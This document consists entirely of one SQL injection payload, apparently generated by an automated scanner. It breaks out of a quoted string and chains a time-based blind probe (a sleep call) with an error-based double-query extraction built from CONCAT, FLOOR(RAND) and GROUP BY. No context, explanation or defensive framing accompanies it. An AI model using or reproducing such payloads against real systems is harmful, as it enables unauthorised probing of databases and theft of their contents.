(select(0)from(select(sleep(8.11)))v)/" OR ROW(8441,2948)>(SELECT COUNT(*),CONCAT(0x71717a6b71,(SELECT (ELT(8441=8441,1))),0x717a7a6a71,FLOOR(RAND(0)*2))x FROM (SELECT 2849 UNION SELECT 5570 UNION SELECT 3642 UNION SELECT 1426)a GROUP BY x) AND "NWpr"="NWpr